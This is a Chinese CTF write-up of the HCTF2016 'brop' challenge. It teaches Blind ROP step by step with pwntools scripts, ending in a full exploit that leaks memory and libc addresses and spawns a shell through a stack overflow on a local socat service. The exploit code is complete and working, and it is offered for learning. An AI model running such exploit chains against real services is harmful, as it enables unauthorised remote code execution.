6.1.1 pwn HCTF2016 brop

    出题人在 github 上开源了代码,出题人失踪了。如下:

    使用下面的语句编译,然后运行起来:

    checksec 如下:

    1. $ checksec -f a.out
    2. RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
    3. Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 a.out

    由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,让程序在崩溃后立即重启,这样就模拟出了远程环境 127.0.0.1:10001

    1. #!/bin/sh
    2. while true; do
    3. num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
    4. if [ $num -lt 5 ]; then
    5. socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
    6. fi
    7. done

    在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。(不停地断开重连特别耗CPU,建议在服务器上跑)

    BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。

    实现这一攻击有两个必要条件:

    1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
    2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。

    下面我们结合题目来讲一讲。

    首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。

    1. def get_buffer_size():
    2. for i in range(100):
    3. payload = "A"
    4. payload += "A"*i
    5. buf_size = len(payload) - 1
    6. try:
    7. p = remote('127.0.0.1', 10001)
    8. p.recvline()
    9. p.send(payload)
    10. p.recv()
    11. p.close()
    12. log.info("bad: %d" % buf_size)
    13. except EOFError as e:
    14. p.close()
    15. log.info("buffer size: %d" % buf_size)
    16. return buf_size
    1. [*] buffer size: 72

    stop gadget

    在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:

    1. def get_stop_addr(buf_size):
    2. addr = 0x400000
    3. while True:
    4. sleep(0.1)
    5. addr += 1
    6. payload = "A"*buf_size
    7. payload += p64(addr)
    8. try:
    9. p = remote('127.0.0.1', 10001)
    10. p.recvline()
    11. p.sendline(payload)
    12. p.recvline()
    13. p.close()
    14. log.info("stop address: 0x%x" % addr)
    15. return addr
    16. except EOFError as e:
    17. p.close()
    18. log.info("bad: 0x%x" % addr)
    19. except:
    20. log.info("Can't connect")
    21. addr -= 1

    由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 sleep(0.1) 做一定的缓冲,如果还是冲突,在 except 进行处理,后面的代码也一样。

    有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget(有关该内容请参见章节4.7):

    1. def get_gadgets_addr(buf_size, stop_addr):
    2. addr = stop_addr
    3. while True:
    4. sleep(0.1)
    5. addr += 1
    6. payload = "A"*buf_size
    7. payload += p64(addr)
    8. payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    9. payload += p64(stop_addr)
    10. try:
    11. p = remote('127.0.0.1', 10001)
    12. p.recvline()
    13. p.sendline(payload)
    14. p.recvline()
    15. p.close()
    16. log.info("find address: 0x%x" % addr)
    17. try: # check
    18. payload = "A"*buf_size
    19. payload += p64(addr)
    20. payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    21. p = remote('127.0.0.1', 10001)
    22. p.recvline()
    23. p.sendline(payload)
    24. p.recvline()
    25. p.close()
    26. log.info("bad address: 0x%x" % addr)
    27. except:
    28. p.close()
    29. log.info("gadget address: 0x%x" % addr)
    30. return addr
    31. except EOFError as e:
    32. p.close()
    33. log.info("bad: 0x%x" % addr)
    34. except:
    35. log.info("Can't connect")
    36. addr -= 1

    直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。

    1. [*] gadget address: 0x40082a

    有了通用 gadget,就可以得到 pop rdi; ret 的地址了,即 gadget address + 9。

    puts@plt

    plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。

    这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便:

    1. def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    2. pop_rdi = gadgets_addr + 9 # pop rdi; ret;
    3. addr = stop_addr
    4. while True:
    5. sleep(0.1)
    6. addr += 1
    7. payload = "A"*buf_size
    8. payload += p64(pop_rdi)
    9. payload += p64(0x400000)
    10. payload += p64(addr)
    11. payload += p64(stop_addr)
    12. try:
    13. p = remote('127.0.0.1', 10001)
    14. p.recvline()
    15. p.sendline(payload)
    16. if p.recv().startswith("\x7fELF"):
    17. log.info("puts@plt address: 0x%x" % addr)
    18. p.close()
    19. return addr
    20. log.info("bad: 0x%x" % addr)
    21. p.close()
    22. except EOFError as e:
    23. p.close()
    24. log.info("bad: 0x%x" % addr)
    25. except:
    26. log.info("Can't connect")
    27. addr -= 1

    这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF,方便进行验证。

    1. [*] puts@plt address: 0x4005e7

    成功找到一个地址,它确实调用 puts,打印出了 \x7fELF,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。

    1. gdb-peda$ disassemble /r 0x4005f0
    2. Dump of assembler code for function puts@plt:
    3. 0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
    4. 0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0
    5. 0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0
    6. End of assembler dump.
    1. gdb-peda$ pdisass /r 0x4005e7,0x400600
    2. Dump of assembler code from 0x4005e7 to 0x400600:
    3. 0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24
    4. 0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
    5. 0x00000000004005f6 <puts@plt+6>: 68 00 00 00 00 push 0x0
    6. 0x00000000004005fb <puts@plt+11>: e9 e0 ff ff ff jmp 0x4005e0
    7. End of assembler dump.

    原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 0x4005e7

    有了 puts,有了 gadget,就可以着手 dump 程序了:

    我们知道 puts 函数通过 \x00 进行截断,并且会在每一次输出末尾加上换行符 \x0a,所以有一些特殊情况需要做一些处理,比如单独的 \x00\x0a 等,首先当然是先去掉末尾 puts 自动加上的 \n,然后如果 recv 到一个 \n,说明内存中是 \x00,如果 recv 到一个 \n\n,说明内存中是 \x0a。 是由于函数本身的设定,如果有 \n\n,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

    这里选择从 0x400000 dump到 0x401000,足够了,你还可以 dump 下 data 段的数据,大概从 0x600000 开始。

    puts@got

    拿到 dump 下来的文件,使用 Radare2 打开,使用参数 -B 指定程序基地址,然后反汇编 puts@plt 的位置 0x4005e7,当然你要直接反汇编 0x4005f0 也行:

    1. $ r2 -B 0x400000 code.bin
    2. [0x00400630]> pd 14 @ 0x4005e7
    3. :::: 0x004005e7 25240a2000 and eax, 0x200a24
    4. :::: 0x004005ec 0f1f4000 nop dword [rax]
    5. :::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1
    6. :::: 0x004005f6 6800000000 push 0
    7. `====< 0x004005fb e9e0ffffff jmp 0x4005e0
    8. ::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1
    9. ::: 0x00400606 6801000000 push 1 ; 1
    10. `===< 0x0040060b e9d0ffffff jmp 0x4005e0
    11. :: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1
    12. :: 0x00400616 6802000000 push 2 ; 2
    13. `==< 0x0040061b e9c0ffffff jmp 0x4005e0
    14. : 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1
    15. : 0x00400626 6803000000 push 3 ; 3
    16. `=< 0x0040062b e9b0ffffff jmp 0x4005e0

    于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。

    后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc,也就是目标机器上的 libc,通过偏移计算出 system() 函数和字符串 /bin/sh 的地址,构造 payload 就可以了。

    1. def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    2. pop_rdi = gadgets_addr + 9
    3. payload = "A"*buf_size
    4. payload += p64(pop_rdi)
    5. payload += p64(puts_got)
    6. payload += p64(puts_plt)
    7. payload += p64(stop_addr)
    8. p = remote('127.0.0.1', 10001)
    9. p.recvline()
    10. p.sendline(payload)
    11. data = p.recvline()
    12. data = u64(data[:-1] + '\x00\x00')
    13. log.info("puts address: 0x%x" % data)
    14. p.close()
    15. return data
    1. [*] puts address: 0x7ffff7a90210

    这里插一下 libc-database 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了:

    1. $ ./add /usr/lib/libc-2.26.so
    2. Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so)
    3. -> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
    4. -> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
    5. -> Writing version info

    然后查询(ASLR 并不影响后 12 位的值):

    1. $ ./find puts 210
    2. /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
    3. $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
    4. offset___libc_start_main_ret = 0x20f6a
    5. offset_system = 0x0000000000042010
    6. offset_dup2 = 0x00000000000e8100
    7. offset_read = 0x00000000000e7820
    8. offset_write = 0x00000000000e78c0
    9. offset_str_bin_sh = 0x17aff5
    10. $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
    11. offset_puts = 0x000000000006f210
    1. offset_puts = 0x000000000006f210
    2. offset_system = 0x0000000000042010
    3. offset_str_bin_sh = 0x17aff5
    4. system_addr = (puts_addr - offset_puts) + offset_system
    5. binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
    6. # get shell
    7. payload = "A"*buf_size
    8. payload += p64(gadgets_addr + 9) # pop rdi; ret;
    9. payload += p64(binsh_addr)
    10. payload += p64(system_addr)
    11. payload += p64(stop_addr)
    12. p = remote('127.0.0.1', 10001)
    13. p.recvline()
    14. p.sendline(payload)
    15. p.interactive()

    exploit

    完整的 exp 如下:

    1. from pwn import *
    2. #context.log_level = 'debug'
    3. def get_buffer_size():
    4. for i in range(100):
    5. payload = "A"
    6. payload += "A"*i
    7. buf_size = len(payload) - 1
    8. try:
    9. p = remote('127.0.0.1', 10001)
    10. p.recvline()
    11. p.send(payload)
    12. p.recv()
    13. p.close()
    14. log.info("bad: %d" % buf_size)
    15. except EOFError as e:
    16. p.close()
    17. log.info("buffer size: %d" % buf_size)
    18. return buf_size
    19. def get_stop_addr(buf_size):
    20. addr = 0x400000
    21. while True:
    22. sleep(0.1)
    23. addr += 1
    24. payload = "A"*buf_size
    25. payload += p64(addr)
    26. try:
    27. p = remote('127.0.0.1', 10001)
    28. p.recvline()
    29. p.sendline(payload)
    30. p.recvline()
    31. p.close()
    32. log.info("stop address: 0x%x" % addr)
    33. return addr
    34. except EOFError as e:
    35. p.close()
    36. log.info("bad: 0x%x" % addr)
    37. except:
    38. log.info("Can't connect")
    39. addr -= 1
    40. def get_gadgets_addr(buf_size, stop_addr):
    41. addr = stop_addr
    42. while True:
    43. sleep(0.1)
    44. addr += 1
    45. payload = "A"*buf_size
    46. payload += p64(addr)
    47. payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    48. payload += p64(stop_addr)
    49. try:
    50. p = remote('127.0.0.1', 10001)
    51. p.recvline()
    52. p.sendline(payload)
    53. p.recvline()
    54. p.close()
    55. log.info("find address: 0x%x" % addr)
    56. try: # check
    57. payload = "A"*buf_size
    58. payload += p64(addr)
    59. payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
    60. p = remote('127.0.0.1', 10001)
    61. p.recvline()
    62. p.sendline(payload)
    63. p.close()
    64. log.info("bad address: 0x%x" % addr)
    65. except:
    66. p.close()
    67. return addr
    68. except EOFError as e:
    69. p.close()
    70. log.info("bad: 0x%x" % addr)
    71. except:
    72. log.info("Can't connect")
    73. addr -= 1
    74. def get_puts_plt(buf_size, stop_addr, gadgets_addr):
    75. pop_rdi = gadgets_addr + 9 # pop rdi; ret;
    76. addr = stop_addr
    77. while True:
    78. sleep(0.1)
    79. addr += 1
    80. payload = "A"*buf_size
    81. payload += p64(pop_rdi)
    82. payload += p64(0x400000)
    83. payload += p64(addr)
    84. payload += p64(stop_addr)
    85. try:
    86. p = remote('127.0.0.1', 10001)
    87. p.recvline()
    88. p.sendline(payload)
    89. if p.recv().startswith("\x7fELF"):
    90. log.info("puts@plt address: 0x%x" % addr)
    91. p.close()
    92. return addr
    93. log.info("bad: 0x%x" % addr)
    94. p.close()
    95. except EOFError as e:
    96. p.close()
    97. log.info("bad: 0x%x" % addr)
    98. except:
    99. log.info("Can't connect")
    100. addr -= 1
    101. def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    102. pop_rdi = gadgets_addr + 9 # pop rdi; ret
    103. result = ""
    104. while start_addr < end_addr:
    105. #print result.encode('hex')
    106. sleep(0.1)
    107. payload = "A"*buf_size
    108. payload += p64(pop_rdi)
    109. payload += p64(start_addr)
    110. payload += p64(puts_plt)
    111. payload += p64(stop_addr)
    112. try:
    113. p = remote('127.0.0.1', 10001)
    114. p.recvline()
    115. p.sendline(payload)
    116. data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
    117. if data == "\n":
    118. data = "\x00"
    119. elif data[-1] == "\n":
    120. data = data[:-1]
    121. log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
    122. result += data
    123. start_addr += len(data)
    124. p.close()
    125. except:
    126. log.info("Can't connect")
    127. return result
    128. def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
    129. pop_rdi = gadgets_addr + 9
    130. payload = "A"*buf_size
    131. payload += p64(pop_rdi)
    132. payload += p64(puts_got)
    133. payload += p64(puts_plt)
    134. payload += p64(stop_addr)
    135. p = remote('127.0.0.1', 10001)
    136. p.recvline()
    137. p.sendline(payload)
    138. data = p.recvline()
    139. data = u64(data[:-1] + '\x00\x00')
    140. log.info("puts address: 0x%x" % data)
    141. p.close()
    142. return data
    143. #buf_size = get_buffer_size()
    144. buf_size = 72
    145. #stop_addr = get_stop_addr(buf_size)
    146. stop_addr = 0x4005e5
    147. #gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
    148. gadgets_addr = 0x40082a
    149. #puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
    150. puts_plt = 0x4005e7 # fake puts
    151. #puts_plt = 0x4005f0 # true puts
    152. # dump code section from memory
    153. # and then use Radare2 or IDA Pro to find the got address
    154. #start_addr = 0x400000
    155. #end_addr = 0x401000
    156. #code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
    157. #with open('code.bin', 'wb') as f:
    158. # f.write(code_bin)
    159. # f.close()
    160. puts_got = 0x00601018
    161. # you can also dump data from memory and get information from .got
    162. #start_addr = 0x600000
    163. #end_addr = 0x602000
    164. #data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
    165. #with open('data.bin', 'wb') as f:
    166. # f.write(data_bin)
    167. # f.close()
    168. # must close ASLR
    169. #puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
    170. puts_addr = 0x7ffff7a90210
    171. # first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
    172. # $ ./find puts 0x7ffff7a90210
    173. # or $ ./find puts 210
    174. # $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
    175. # $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
    176. # then you can get the following offset
    177. offset_puts = 0x000000000006f210
    178. offset_system = 0x0000000000042010
    179. offset_str_bin_sh = 0x17aff5
    180. system_addr = (puts_addr - offset_puts) + offset_system
    181. binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
    182. # get shell
    183. payload = "A"*buf_size
    184. payload += p64(gadgets_addr + 9) # pop rdi; ret;
    185. payload += p64(binsh_addr)
    186. payload += p64(system_addr)
    187. payload += p64(stop_addr)
    188. p = remote('127.0.0.1', 10001)
    189. p.recvline()
    190. p.sendline(payload)